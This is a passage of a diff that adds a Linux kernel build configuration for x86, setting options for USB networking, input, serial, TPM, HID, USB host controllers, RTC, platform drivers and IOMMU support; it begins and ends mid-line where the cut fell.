is not set +# CONFIG_USB_PEGASUS is not set +# CONFIG_USB_RTL8150 is not set +# CONFIG_USB_RTL8152 is not set +# CONFIG_USB_LAN78XX is not set +CONFIG_USB_USBNET=m +# CONFIG_USB_NET_AX8817X is not set +# CONFIG_USB_NET_AX88179_178A is not set +CONFIG_USB_NET_CDCETHER=m +CONFIG_USB_NET_CDC_EEM=m +CONFIG_USB_NET_CDC_NCM=m +# CONFIG_USB_NET_HUAWEI_CDC_NCM is not set +# CONFIG_USB_NET_CDC_MBIM is not set +# CONFIG_USB_NET_DM9601 is not set +# CONFIG_USB_NET_SR9700 is not set +# CONFIG_USB_NET_SR9800 is not set +# CONFIG_USB_NET_SMSC75XX is not set +# CONFIG_USB_NET_SMSC95XX is not set +# CONFIG_USB_NET_GL620A is not set +# CONFIG_USB_NET_NET1080 is not set +# CONFIG_USB_NET_PLUSB is not set +# CONFIG_USB_NET_MCS7830 is not set +# CONFIG_USB_NET_RNDIS_HOST is not set +CONFIG_USB_NET_CDC_SUBSET=m +# CONFIG_USB_ALI_M5632 is not set +# CONFIG_USB_AN2720 is not set +# CONFIG_USB_BELKIN is not set +# CONFIG_USB_ARMLINUX is not set +# CONFIG_USB_EPSON2888 is not set +# CONFIG_USB_KC2190 is not set +# CONFIG_USB_NET_ZAURUS is not set +# CONFIG_USB_NET_CX82310_ETH is not set +# CONFIG_USB_NET_KALMIA is not set +# CONFIG_USB_NET_QMI_WWAN is not set +# CONFIG_USB_NET_INT51X1 is not set +# CONFIG_USB_IPHETH is not set +# CONFIG_USB_SIERRA_NET is not set +# CONFIG_USB_VL600 is not set +# CONFIG_USB_NET_CH9200 is not set +# CONFIG_USB_NET_AQC111 is not set +CONFIG_USB_RTL8153_ECM=m +# CONFIG_WLAN is not set +# CONFIG_WAN is not set + +# +# Wireless WAN +# +# CONFIG_WWAN is not set +# end of Wireless WAN + +# CONFIG_VMXNET3 is not set +# CONFIG_FUJITSU_ES is not set +# CONFIG_NET_FAILOVER is not set +# CONFIG_ISDN is not set + +# +# Input device support +# +CONFIG_INPUT=y +# CONFIG_INPUT_FF_MEMLESS is not set +# CONFIG_INPUT_SPARSEKMAP is not set +# CONFIG_INPUT_MATRIXKMAP is not set +CONFIG_INPUT_VIVALDIFMAP=y + +# +# Userland interfaces +# +# CONFIG_INPUT_MOUSEDEV is not set +# CONFIG_INPUT_JOYDEV is not set +# CONFIG_INPUT_EVDEV is not set +# CONFIG_INPUT_EVBUG is not set + +# +# Input Device Drivers +# +CONFIG_INPUT_KEYBOARD=y +CONFIG_KEYBOARD_ATKBD=y +# CONFIG_KEYBOARD_LKKBD is not set +# CONFIG_KEYBOARD_NEWTON is not set +# CONFIG_KEYBOARD_OPENCORES is not set +# CONFIG_KEYBOARD_SAMSUNG is not set +# CONFIG_KEYBOARD_STOWAWAY is not set +# CONFIG_KEYBOARD_SUNKBD is not set +# CONFIG_KEYBOARD_XTKBD is not set +# CONFIG_INPUT_MOUSE is not set +# CONFIG_INPUT_JOYSTICK is not set +# CONFIG_INPUT_TABLET is not set +# CONFIG_INPUT_TOUCHSCREEN is not set +# CONFIG_INPUT_MISC is not set +# CONFIG_RMI4_CORE is not set + +# +# Hardware I/O ports +# +CONFIG_SERIO=y +CONFIG_ARCH_MIGHT_HAVE_PC_SERIO=y +CONFIG_SERIO_I8042=y +# CONFIG_SERIO_SERPORT is not set +# CONFIG_SERIO_CT82C710 is not set +# CONFIG_SERIO_PCIPS2 is not set +CONFIG_SERIO_LIBPS2=y +# CONFIG_SERIO_RAW is not set +# CONFIG_SERIO_ALTERA_PS2 is not set +# CONFIG_SERIO_PS2MULT is not set +# CONFIG_SERIO_ARC_PS2 is not set +# CONFIG_USERIO is not set +# CONFIG_GAMEPORT is not set +# end of Hardware I/O ports +# end of Input device support + +# +# Character devices +# +CONFIG_TTY=y +CONFIG_VT=y +CONFIG_CONSOLE_TRANSLATIONS=y +CONFIG_VT_CONSOLE=y +CONFIG_HW_CONSOLE=y +CONFIG_VT_HW_CONSOLE_BINDING=y +CONFIG_UNIX98_PTYS=y +# CONFIG_LEGACY_PTYS is not set +CONFIG_LDISC_AUTOLOAD=y + +# +# Serial drivers +# +CONFIG_SERIAL_8250=y +# CONFIG_SERIAL_8250_DEPRECATED_OPTIONS is not set +# CONFIG_SERIAL_8250_PNP is not set +# CONFIG_SERIAL_8250_16550A_VARIANTS is not set +# CONFIG_SERIAL_8250_FINTEK is not set +# CONFIG_SERIAL_8250_CONSOLE is not set +# CONFIG_SERIAL_8250_PCI is not set +CONFIG_SERIAL_8250_NR_UARTS=4 +CONFIG_SERIAL_8250_RUNTIME_UARTS=4 +# CONFIG_SERIAL_8250_EXTENDED is not set +# CONFIG_SERIAL_8250_DW is not set +# CONFIG_SERIAL_8250_RT288X is not set +# CONFIG_SERIAL_8250_LPSS is not set +# CONFIG_SERIAL_8250_MID is not set +# CONFIG_SERIAL_8250_PERICOM is not set + +# +# Non-8250 serial port support +# +# CONFIG_SERIAL_UARTLITE is not set +CONFIG_SERIAL_CORE=y +# CONFIG_SERIAL_JSM is not set +# CONFIG_SERIAL_LANTIQ is not set +# CONFIG_SERIAL_SCCNXP is not set +# CONFIG_SERIAL_ALTERA_JTAGUART is not set +# CONFIG_SERIAL_ALTERA_UART is not set +# CONFIG_SERIAL_ARC is not set +# CONFIG_SERIAL_RP2 is not set +# CONFIG_SERIAL_FSL_LPUART is not set +# CONFIG_SERIAL_FSL_LINFLEXUART is not set +# CONFIG_SERIAL_SPRD is not set +# end of Serial drivers + +# CONFIG_SERIAL_NONSTANDARD is not set +# CONFIG_N_GSM is not set +# CONFIG_NOZOMI is not set +# CONFIG_NULL_TTY is not set +# CONFIG_SERIAL_DEV_BUS is not set +CONFIG_TTY_PRINTK=y +CONFIG_TTY_PRINTK_LEVEL=6 +# CONFIG_VIRTIO_CONSOLE is not set +# CONFIG_IPMI_HANDLER is not set +CONFIG_HW_RANDOM=y +# CONFIG_HW_RANDOM_TIMERIOMEM is not set +CONFIG_HW_RANDOM_INTEL=y +# CONFIG_HW_RANDOM_AMD is not set +# CONFIG_HW_RANDOM_BA431 is not set +# CONFIG_HW_RANDOM_VIA is not set +# CONFIG_HW_RANDOM_XIPHERA is not set +# CONFIG_APPLICOM is not set +# CONFIG_MWAVE is not set +CONFIG_DEVMEM=y +# CONFIG_NVRAM is not set +CONFIG_DEVPORT=y +# CONFIG_HPET is not set +# CONFIG_HANGCHECK_TIMER is not set +CONFIG_TCG_TPM=y +# CONFIG_HW_RANDOM_TPM is not set +CONFIG_TCG_TIS_CORE=y +CONFIG_TCG_TIS=y +# CONFIG_TCG_NSC is not set +# CONFIG_TCG_ATMEL is not set +# CONFIG_TCG_INFINEON is not set +# CONFIG_TCG_CRB is not set +# CONFIG_TCG_VTPM_PROXY is not set +# CONFIG_TELCLOCK is not set +# CONFIG_XILLYBUS is not set +# CONFIG_XILLYUSB is not set +CONFIG_RANDOM_TRUST_CPU=y +# CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices + +# +# I2C support +# +# CONFIG_I2C is not set +# end of I2C support + +# CONFIG_I3C is not set +# CONFIG_SPI is not set +# CONFIG_SPMI is not set +# CONFIG_HSI is not set +# CONFIG_PPS is not set + +# +# PTP clock support +# +# CONFIG_PTP_1588_CLOCK is not set +CONFIG_PTP_1588_CLOCK_OPTIONAL=y + +# +# Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks. +# +# end of PTP clock support + +# CONFIG_PINCTRL is not set +# CONFIG_GPIOLIB is not set +# CONFIG_W1 is not set +# CONFIG_POWER_RESET is not set +CONFIG_POWER_SUPPLY=y +# CONFIG_POWER_SUPPLY_DEBUG is not set +# CONFIG_PDA_POWER is not set +# CONFIG_TEST_POWER is not set +# CONFIG_BATTERY_DS2780 is not set +# CONFIG_BATTERY_DS2781 is not set +# CONFIG_BATTERY_SAMSUNG_SDI is not set +# CONFIG_BATTERY_BQ27XXX is not set +# CONFIG_CHARGER_MAX8903 is not set +# CONFIG_BATTERY_GOLDFISH is not set +# CONFIG_HWMON is not set +CONFIG_THERMAL=y +# CONFIG_THERMAL_NETLINK is not set +# CONFIG_THERMAL_STATISTICS is not set +CONFIG_THERMAL_EMERGENCY_POWEROFF_DELAY_MS=0 +# CONFIG_THERMAL_WRITABLE_TRIPS is not set +CONFIG_THERMAL_DEFAULT_GOV_STEP_WISE=y +# CONFIG_THERMAL_DEFAULT_GOV_FAIR_SHARE is not set +# CONFIG_THERMAL_DEFAULT_GOV_USER_SPACE is not set +# CONFIG_THERMAL_GOV_FAIR_SHARE is not set +CONFIG_THERMAL_GOV_STEP_WISE=y +# CONFIG_THERMAL_GOV_BANG_BANG is not set +# CONFIG_THERMAL_GOV_USER_SPACE is not set +# CONFIG_THERMAL_EMULATION is not set + +# +# Intel thermal drivers +# +# CONFIG_INTEL_POWERCLAMP is not set +CONFIG_X86_THERMAL_VECTOR=y +# CONFIG_X86_PKG_TEMP_THERMAL is not set +# CONFIG_INTEL_SOC_DTS_THERMAL is not set + +# +# ACPI INT340X thermal drivers +# +# CONFIG_INT340X_THERMAL is not set +# end of ACPI INT340X thermal drivers + +# CONFIG_INTEL_PCH_THERMAL is not set +# CONFIG_INTEL_TCC_COOLING is not set +# CONFIG_INTEL_MENLOW is not set +# CONFIG_INTEL_HFI_THERMAL is not set +# end of Intel thermal drivers + +# CONFIG_WATCHDOG is not set +CONFIG_SSB_POSSIBLE=y +# CONFIG_SSB is not set +CONFIG_BCMA_POSSIBLE=y +# CONFIG_BCMA is not set + +# +# Multifunction device drivers +# +# CONFIG_MFD_MADERA is not set +# CONFIG_MFD_DLN2 is not set +# CONFIG_HTC_PASIC3 is not set +# CONFIG_MFD_INTEL_QUARK_I2C_GPIO is not set +# CONFIG_LPC_ICH is not set +# CONFIG_LPC_SCH is not set +# CONFIG_MFD_INTEL_LPSS_ACPI is not set +# CONFIG_MFD_INTEL_LPSS_PCI is not set +# CONFIG_MFD_INTEL_PMC_BXT is not set +# CONFIG_MFD_JANZ_CMODIO is not set +# CONFIG_MFD_KEMPLD is not set +# CONFIG_MFD_MT6397 is not set +# CONFIG_MFD_VIPERBOARD is not set +# CONFIG_MFD_RDC321X is not set +# CONFIG_MFD_SM501 is not set +CONFIG_MFD_SYSCON=y +# CONFIG_MFD_TI_AM335X_TSCADC is not set +# CONFIG_MFD_TQMX86 is not set +# CONFIG_MFD_VX855 is not set +# end of Multifunction device drivers + +# CONFIG_REGULATOR is not set +# CONFIG_RC_CORE is not set + +# +# CEC support +# +# CONFIG_MEDIA_CEC_SUPPORT is not set +# end of CEC support + +# CONFIG_MEDIA_SUPPORT is not set + +# +# Graphics support +# +CONFIG_APERTURE_HELPERS=y +# CONFIG_AGP is not set +# CONFIG_VGA_SWITCHEROO is not set +# CONFIG_DRM is not set +# CONFIG_DRM_DEBUG_MODESET_LOCK is not set + +# +# ARM devices +# +# end of ARM devices + +CONFIG_DRM_PANEL_ORIENTATION_QUIRKS=y + +# +# Frame buffer Devices +# +CONFIG_FB_CMDLINE=y +CONFIG_FB_NOTIFY=y +CONFIG_FB=y +# CONFIG_FIRMWARE_EDID is not set +CONFIG_FB_CFB_FILLRECT=y +CONFIG_FB_CFB_COPYAREA=y +CONFIG_FB_CFB_IMAGEBLIT=y +# CONFIG_FB_FOREIGN_ENDIAN is not set +# CONFIG_FB_MODE_HELPERS is not set +# CONFIG_FB_TILEBLITTING is not set + +# +# Frame buffer hardware drivers +# +# CONFIG_FB_CIRRUS is not set +# CONFIG_FB_PM2 is not set +# CONFIG_FB_CYBER2000 is not set +# CONFIG_FB_ARC is not set +# CONFIG_FB_ASILIANT is not set +# CONFIG_FB_IMSTT is not set +# CONFIG_FB_VGA16 is not set +# CONFIG_FB_VESA is not set +CONFIG_FB_EFI=y +# CONFIG_FB_N411 is not set +# CONFIG_FB_HGA is not set +# CONFIG_FB_OPENCORES is not set +# CONFIG_FB_S1D13XXX is not set +# CONFIG_FB_NVIDIA is not set +# CONFIG_FB_RIVA is not set +# CONFIG_FB_I740 is not set +# CONFIG_FB_LE80578 is not set +# CONFIG_FB_MATROX is not set +# CONFIG_FB_RADEON is not set +# CONFIG_FB_ATY128 is not set +# CONFIG_FB_ATY is not set +# CONFIG_FB_S3 is not set +# CONFIG_FB_SAVAGE is not set +# CONFIG_FB_SIS is not set +# CONFIG_FB_NEOMAGIC is not set +# CONFIG_FB_KYRO is not set +# CONFIG_FB_3DFX is not set +# CONFIG_FB_VOODOO1 is not set +# CONFIG_FB_VT8623 is not set +# CONFIG_FB_TRIDENT is not set +# CONFIG_FB_ARK is not set +# CONFIG_FB_PM3 is not set +# CONFIG_FB_CARMINE is not set +# CONFIG_FB_SMSCUFX is not set +# CONFIG_FB_UDL is not set +# CONFIG_FB_IBM_GXT4500 is not set +# CONFIG_FB_VIRTUAL is not set +# CONFIG_FB_METRONOME is not set +# CONFIG_FB_MB862XX is not set +# CONFIG_FB_SIMPLE is not set +# CONFIG_FB_SM712 is not set +# end of Frame buffer Devices + +# +# Backlight & LCD device support +# +# CONFIG_LCD_CLASS_DEVICE is not set +CONFIG_BACKLIGHT_CLASS_DEVICE=y +# CONFIG_BACKLIGHT_APPLE is not set +# CONFIG_BACKLIGHT_QCOM_WLED is not set +# CONFIG_BACKLIGHT_SAHARA is not set +# end of Backlight & LCD device support + +# +# Console display driver support +# +CONFIG_VGA_CONSOLE=y +CONFIG_DUMMY_CONSOLE=y +CONFIG_DUMMY_CONSOLE_COLUMNS=80 +CONFIG_DUMMY_CONSOLE_ROWS=25 +CONFIG_FRAMEBUFFER_CONSOLE=y +CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION=y +CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y +# CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set +# CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set +# end of Console display driver support + +# CONFIG_LOGO is not set +# end of Graphics support + +# CONFIG_SOUND is not set + +# +# HID support +# +CONFIG_HID=y +# CONFIG_HID_BATTERY_STRENGTH is not set +# CONFIG_HIDRAW is not set +# CONFIG_UHID is not set +CONFIG_HID_GENERIC=y + +# +# Special HID drivers +# +# CONFIG_HID_A4TECH is not set +# CONFIG_HID_ACCUTOUCH is not set +# CONFIG_HID_ACRUX is not set +# CONFIG_HID_APPLEIR is not set +# CONFIG_HID_AUREAL is not set +# CONFIG_HID_BELKIN is not set +# CONFIG_HID_BETOP_FF is not set +# CONFIG_HID_CHERRY is not set +# CONFIG_HID_CHICONY is not set +# CONFIG_HID_COUGAR is not set +# CONFIG_HID_MACALLY is not set +# CONFIG_HID_CMEDIA is not set +# CONFIG_HID_CREATIVE_SB0540 is not set +# CONFIG_HID_CYPRESS is not set +# CONFIG_HID_DRAGONRISE is not set +# CONFIG_HID_EMS_FF is not set +# CONFIG_HID_ELECOM is not set +# CONFIG_HID_ELO is not set +# CONFIG_HID_EZKEY is not set +# CONFIG_HID_GEMBIRD is not set +# CONFIG_HID_GFRM is not set +# CONFIG_HID_GLORIOUS is not set +# CONFIG_HID_HOLTEK is not set +# CONFIG_HID_VIVALDI is not set +# CONFIG_HID_KEYTOUCH is not set +# CONFIG_HID_KYE is not set +# CONFIG_HID_UCLOGIC is not set +# CONFIG_HID_WALTOP is not set +# CONFIG_HID_VIEWSONIC is not set +# CONFIG_HID_VRC2 is not set +# CONFIG_HID_XIAOMI is not set +# CONFIG_HID_GYRATION is not set +# CONFIG_HID_ICADE is not set +# CONFIG_HID_ITE is not set +# CONFIG_HID_JABRA is not set +# CONFIG_HID_TWINHAN is not set +# CONFIG_HID_KENSINGTON is not set +# CONFIG_HID_LCPOWER is not set +# CONFIG_HID_LENOVO is not set +# CONFIG_HID_LETSKETCH is not set +# CONFIG_HID_MAGICMOUSE is not set +# CONFIG_HID_MALTRON is not set +# CONFIG_HID_MAYFLASH is not set +# CONFIG_HID_MEGAWORLD_FF is not set +# CONFIG_HID_REDRAGON is not set +# CONFIG_HID_MICROSOFT is not set +# CONFIG_HID_MONTEREY is not set +# CONFIG_HID_MULTITOUCH is not set +# CONFIG_HID_NTI is not set +# CONFIG_HID_NTRIG is not set +# CONFIG_HID_ORTEK is not set +# CONFIG_HID_PANTHERLORD is not set +# CONFIG_HID_PENMOUNT is not set +# CONFIG_HID_PETALYNX is not set +# CONFIG_HID_PICOLCD is not set +# CONFIG_HID_PLANTRONICS is not set +# CONFIG_HID_PXRC is not set +# CONFIG_HID_RAZER is not set +# CONFIG_HID_PRIMAX is not set +# CONFIG_HID_RETRODE is not set +# CONFIG_HID_ROCCAT is not set +# CONFIG_HID_SAITEK is not set +# CONFIG_HID_SAMSUNG is not set +# CONFIG_HID_SEMITEK is not set +# CONFIG_HID_SIGMAMICRO is not set +# CONFIG_HID_SPEEDLINK is not set +# CONFIG_HID_STEAM is not set +# CONFIG_HID_STEELSERIES is not set +# CONFIG_HID_SUNPLUS is not set +# CONFIG_HID_RMI is not set +# CONFIG_HID_GREENASIA is not set +# CONFIG_HID_SMARTJOYPLUS is not set +# CONFIG_HID_TIVO is not set +# CONFIG_HID_TOPSEED is not set +# CONFIG_HID_TOPRE is not set +# CONFIG_HID_THRUSTMASTER is not set +# CONFIG_HID_UDRAW_PS3 is not set +# CONFIG_HID_WACOM is not set +# CONFIG_HID_XINMO is not set +# CONFIG_HID_ZEROPLUS is not set +# CONFIG_HID_ZYDACRON is not set +# CONFIG_HID_SENSOR_HUB is not set +# CONFIG_HID_ALPS is not set +# end of Special HID drivers + +# +# USB HID support +# +CONFIG_USB_HID=m +# CONFIG_HID_PID is not set +# CONFIG_USB_HIDDEV is not set + +# +# USB HID Boot Protocol drivers +# +# CONFIG_USB_KBD is not set +# CONFIG_USB_MOUSE is not set +# end of USB HID Boot Protocol drivers +# end of USB HID support + +# +# Intel ISH HID support +# +# CONFIG_INTEL_ISH_HID is not set +# end of Intel ISH HID support + +# +# AMD SFH HID Support +# +# CONFIG_AMD_SFH_HID is not set +# end of AMD SFH HID Support +# end of HID support + +CONFIG_USB_OHCI_LITTLE_ENDIAN=y +CONFIG_USB_SUPPORT=y +CONFIG_USB_COMMON=y +# CONFIG_USB_ULPI_BUS is not set +CONFIG_USB_ARCH_HAS_HCD=y +CONFIG_USB=y +CONFIG_USB_PCI=y +# CONFIG_USB_ANNOUNCE_NEW_DEVICES is not set + +# +# Miscellaneous USB options +# +CONFIG_USB_DEFAULT_PERSIST=y +# CONFIG_USB_FEW_INIT_RETRIES is not set +# CONFIG_USB_DYNAMIC_MINORS is not set +# CONFIG_USB_OTG_PRODUCTLIST is not set +# CONFIG_USB_OTG_DISABLE_EXTERNAL_HUB is not set +CONFIG_USB_AUTOSUSPEND_DELAY=2 +# CONFIG_USB_MON is not set + +# +# USB Host Controller Drivers +# +# CONFIG_USB_C67X00_HCD is not set +CONFIG_USB_XHCI_HCD=m +# CONFIG_USB_XHCI_DBGCAP is not set +CONFIG_USB_XHCI_PCI=m +# CONFIG_USB_XHCI_PCI_RENESAS is not set +CONFIG_USB_XHCI_PLATFORM=m +CONFIG_USB_EHCI_HCD=m +# CONFIG_USB_EHCI_ROOT_HUB_TT is not set +CONFIG_USB_EHCI_TT_NEWSCHED=y +CONFIG_USB_EHCI_PCI=m +# CONFIG_USB_EHCI_FSL is not set +CONFIG_USB_EHCI_HCD_PLATFORM=m +# CONFIG_USB_OXU210HP_HCD is not set +# CONFIG_USB_ISP116X_HCD is not set +# CONFIG_USB_FOTG210_HCD is not set +# CONFIG_USB_OHCI_HCD is not set +# CONFIG_USB_UHCI_HCD is not set +# CONFIG_USB_SL811_HCD is not set +# CONFIG_USB_R8A66597_HCD is not set +# CONFIG_USB_HCD_TEST_MODE is not set + +# +# USB Device Class drivers +# +# CONFIG_USB_ACM is not set +# CONFIG_USB_PRINTER is not set +# CONFIG_USB_WDM is not set +# CONFIG_USB_TMC is not set + +# +# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may +# + +# +# also be needed; see USB_STORAGE Help for more info +# +CONFIG_USB_STORAGE=m +# CONFIG_USB_STORAGE_DEBUG is not set +# CONFIG_USB_STORAGE_REALTEK is not set +# CONFIG_USB_STORAGE_DATAFAB is not set +# CONFIG_USB_STORAGE_FREECOM is not set +# CONFIG_USB_STORAGE_ISD200 is not set +# CONFIG_USB_STORAGE_USBAT is not set +# CONFIG_USB_STORAGE_SDDR09 is not set +# CONFIG_USB_STORAGE_SDDR55 is not set +# CONFIG_USB_STORAGE_JUMPSHOT is not set +# CONFIG_USB_STORAGE_ALAUDA is not set +# CONFIG_USB_STORAGE_ONETOUCH is not set +# CONFIG_USB_STORAGE_KARMA is not set +# CONFIG_USB_STORAGE_CYPRESS_ATACB is not set +# CONFIG_USB_STORAGE_ENE_UB6250 is not set +# CONFIG_USB_UAS is not set + +# +# USB Imaging devices +# +# CONFIG_USB_MDC800 is not set +# CONFIG_USB_MICROTEK is not set +# CONFIG_USBIP_CORE is not set +# CONFIG_USB_CDNS_SUPPORT is not set +# CONFIG_USB_MUSB_HDRC is not set +# CONFIG_USB_DWC3 is not set +# CONFIG_USB_DWC2 is not set +# CONFIG_USB_CHIPIDEA is not set +# CONFIG_USB_ISP1760 is not set + +# +# USB port drivers +# +# CONFIG_USB_SERIAL is not set + +# +# USB Miscellaneous drivers +# +# CONFIG_USB_EMI62 is not set +# CONFIG_USB_EMI26 is not set +# CONFIG_USB_ADUTUX is not set +# CONFIG_USB_SEVSEG is not set +# CONFIG_USB_LEGOTOWER is not set +# CONFIG_USB_LCD is not set +# CONFIG_USB_CYPRESS_CY7C63 is not set +# CONFIG_USB_CYTHERM is not set +# CONFIG_USB_IDMOUSE is not set +# CONFIG_USB_FTDI_ELAN is not set +# CONFIG_USB_APPLEDISPLAY is not set +# CONFIG_APPLE_MFI_FASTCHARGE is not set +# CONFIG_USB_SISUSBVGA is not set +# CONFIG_USB_LD is not set +# CONFIG_USB_TRANCEVIBRATOR is not set +# CONFIG_USB_IOWARRIOR is not set +# CONFIG_USB_TEST is not set +# CONFIG_USB_EHSET_TEST_FIXTURE is not set +# CONFIG_USB_ISIGHTFW is not set +# CONFIG_USB_YUREX is not set +# CONFIG_USB_EZUSB_FX2 is not set +# CONFIG_USB_LINK_LAYER_TEST is not set +# CONFIG_USB_CHAOSKEY is not set + +# +# USB Physical Layer drivers +# +# CONFIG_NOP_USB_XCEIV is not set +# end of USB Physical Layer drivers + +# CONFIG_USB_GADGET is not set +# CONFIG_TYPEC is not set +# CONFIG_USB_ROLE_SWITCH is not set +# CONFIG_MMC is not set +# CONFIG_SCSI_UFSHCD is not set +# CONFIG_MEMSTICK is not set +# CONFIG_NEW_LEDS is not set +# CONFIG_ACCESSIBILITY is not set +# CONFIG_INFINIBAND is not set +CONFIG_EDAC_ATOMIC_SCRUB=y +CONFIG_EDAC_SUPPORT=y +CONFIG_RTC_LIB=y +CONFIG_RTC_MC146818_LIB=y +CONFIG_RTC_CLASS=y +CONFIG_RTC_HCTOSYS=y +CONFIG_RTC_HCTOSYS_DEVICE="rtc0" +CONFIG_RTC_SYSTOHC=y +CONFIG_RTC_SYSTOHC_DEVICE="rtc0" +# CONFIG_RTC_DEBUG is not set +CONFIG_RTC_NVMEM=y + +# +# RTC interfaces +# +CONFIG_RTC_INTF_SYSFS=y +CONFIG_RTC_INTF_PROC=y +CONFIG_RTC_INTF_DEV=y +# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set +# CONFIG_RTC_DRV_TEST is not set + +# +# I2C RTC drivers +# + +# +# SPI RTC drivers +# + +# +# SPI and I2C RTC drivers +# + +# +# Platform RTC drivers +# +CONFIG_RTC_DRV_CMOS=y +# CONFIG_RTC_DRV_DS1286 is not set +# CONFIG_RTC_DRV_DS1511 is not set +# CONFIG_RTC_DRV_DS1553 is not set +# CONFIG_RTC_DRV_DS1685_FAMILY is not set +# CONFIG_RTC_DRV_DS1742 is not set +# CONFIG_RTC_DRV_DS2404 is not set +# CONFIG_RTC_DRV_STK17TA8 is not set +# CONFIG_RTC_DRV_M48T86 is not set +# CONFIG_RTC_DRV_M48T35 is not set +# CONFIG_RTC_DRV_M48T59 is not set +# CONFIG_RTC_DRV_MSM6242 is not set +# CONFIG_RTC_DRV_BQ4802 is not set +# CONFIG_RTC_DRV_RP5C01 is not set +# CONFIG_RTC_DRV_V3020 is not set + +# +# on-CPU RTC drivers +# +# CONFIG_RTC_DRV_FTRTC010 is not set + +# +# HID Sensor RTC drivers +# +# CONFIG_RTC_DRV_GOLDFISH is not set +# CONFIG_DMADEVICES is not set + +# +# DMABUF options +# +CONFIG_SYNC_FILE=y +# CONFIG_DMABUF_MOVE_NOTIFY is not set +# CONFIG_DMABUF_DEBUG is not set +# CONFIG_DMABUF_SELFTESTS is not set +# CONFIG_DMABUF_HEAPS is not set +# CONFIG_DMABUF_SYSFS_STATS is not set +# end of DMABUF options + +# CONFIG_AUXDISPLAY is not set +# CONFIG_UIO is not set +# CONFIG_VFIO is not set +# CONFIG_VIRT_DRIVERS is not set +# CONFIG_VIRTIO_MENU is not set +# CONFIG_VDPA is not set +# CONFIG_VHOST_MENU is not set + +# +# Microsoft Hyper-V guest support +# +# end of Microsoft Hyper-V guest support + +# CONFIG_GREYBUS is not set +# CONFIG_COMEDI is not set +# CONFIG_STAGING is not set +# CONFIG_CHROME_PLATFORMS is not set +# CONFIG_MELLANOX_PLATFORM is not set +# CONFIG_SURFACE_PLATFORMS is not set +CONFIG_X86_PLATFORM_DEVICES=y +# CONFIG_ACPI_WMI is not set +# CONFIG_ACERHDF is not set +# CONFIG_ACER_WIRELESS is not set +# CONFIG_AMD_PMF is not set +# CONFIG_AMD_PMC is not set +# CONFIG_ADV_SWBUTTON is not set +# CONFIG_APPLE_GMUX is not set +# CONFIG_ASUS_LAPTOP is not set +# CONFIG_ASUS_WIRELESS is not set +# CONFIG_X86_PLATFORM_DRIVERS_DELL is not set +# CONFIG_FUJITSU_LAPTOP is not set +# CONFIG_FUJITSU_TABLET is not set +# CONFIG_GPD_POCKET_FAN is not set +# CONFIG_HP_ACCEL is not set +# CONFIG_WIRELESS_HOTKEY is not set +# CONFIG_IBM_RTL is not set +# CONFIG_SENSORS_HDAPS is not set +# CONFIG_INTEL_SAR_INT1092 is not set +# CONFIG_INTEL_PMC_CORE is not set + +# +# Intel Speed Select Technology interface support +# +# CONFIG_INTEL_SPEED_SELECT_INTERFACE is not set +# end of Intel Speed Select Technology interface support + +# +# Intel Uncore Frequency Control +# +# CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set +# end of Intel Uncore Frequency Control + +# CONFIG_INTEL_PUNIT_IPC is not set +# CONFIG_INTEL_RST is not set +# CONFIG_INTEL_SMARTCONNECT is not set +# CONFIG_INTEL_TURBO_MAX_3 is not set +# CONFIG_INTEL_VSEC is not set +# CONFIG_SAMSUNG_LAPTOP is not set +# CONFIG_SAMSUNG_Q10 is not set +# CONFIG_TOSHIBA_BT_RFKILL is not set +# CONFIG_TOSHIBA_HAPS is not set +# CONFIG_ACPI_CMPC is not set +# CONFIG_PANASONIC_LAPTOP is not set +# CONFIG_TOPSTAR_LAPTOP is not set +# CONFIG_INTEL_IPS is not set +# CONFIG_INTEL_SCU_PCI is not set +# CONFIG_INTEL_SCU_PLATFORM is not set +# CONFIG_SIEMENS_SIMATIC_IPC is not set +# CONFIG_WINMATE_FM07_KEYS is not set +# CONFIG_P2SB is not set +CONFIG_HAVE_CLK=y +CONFIG_HAVE_CLK_PREPARE=y +CONFIG_COMMON_CLK=y +# CONFIG_XILINX_VCU is not set +# CONFIG_HWSPINLOCK is not set + +# +# Clock Source drivers +# +CONFIG_CLKEVT_I8253=y +CONFIG_I8253_LOCK=y +CONFIG_CLKBLD_I8253=y +# end of Clock Source drivers + +CONFIG_MAILBOX=y +CONFIG_PCC=y +# CONFIG_ALTERA_MBOX is not set +CONFIG_IOMMU_IOVA=y +CONFIG_IOASID=y +CONFIG_IOMMU_API=y +CONFIG_IOMMU_SUPPORT=y + +# +# Generic IOMMU Pagetable Support +# +# end of Generic IOMMU Pagetable Support + +# CONFIG_IOMMU_DEFAULT_DMA_STRICT is not set +CONFIG_IOMMU_DEFAULT_DMA_LAZY=y +# CONFIG_IOMMU_DEFAULT_PASSTHROUGH is not set +CONFIG_IOMMU_DMA=y +CONFIG_IOMMU_SVA=y +# CONFIG_AMD_IOMMU is not set +CONFIG_DMAR_TABLE=y +CONFIG_INTEL_IOMMU=y +CONFIG_INTEL_IOMMU_SVM=y +CONFIG_INTEL_IOMMU_DEFAULT_ON=y +CONFIG_INTEL_IOMMU_FLOPPY_WA=y +# CONFIG_INTEL_IOMMU_SCALABLE_MODE_DEFAULT_ON is not set +# CONFIG_IRQ_REMAP is not set + +# +# Remoteproc drivers +# +# CONFIG_REMOTEPROC is not set +# end of Remoteproc drivers + +# +# Rpmsg drivers +# +# CONFIG_RPMSG_QCOM_GLINK_RPM is not set +# CONFIG_RPMSG_VIRTIO is not set +# end of Rpmsg drivers + +# CONFIG_SOUNDWIRE is not set + +# +# SOC (System On Chip) specific Drivers +# + +# +# Amlogic SoC drivers +# +# end of Amlogic SoC drivers + +# +# Broadcom SoC drivers +# +# end of Broadcom SoC drivers + +# +# NXP/Freescale QorIQ SoC drivers +# +# end of NXP/Freescale QorIQ SoC drivers + +# +# fujitsu SoC drivers +# +# end of fujitsu SoC drivers + +# +# i.MX SoC drivers +# +# end of i.MX SoC drivers + +# +# Enable LiteX SoC Builder specific drivers +# +# end of Enable LiteX SoC Builder specific drivers + +# +# Qualcomm SoC drivers +# +# end of Qualcomm SoC drivers + +# CONFIG_SOC_TI is not set + +# +# 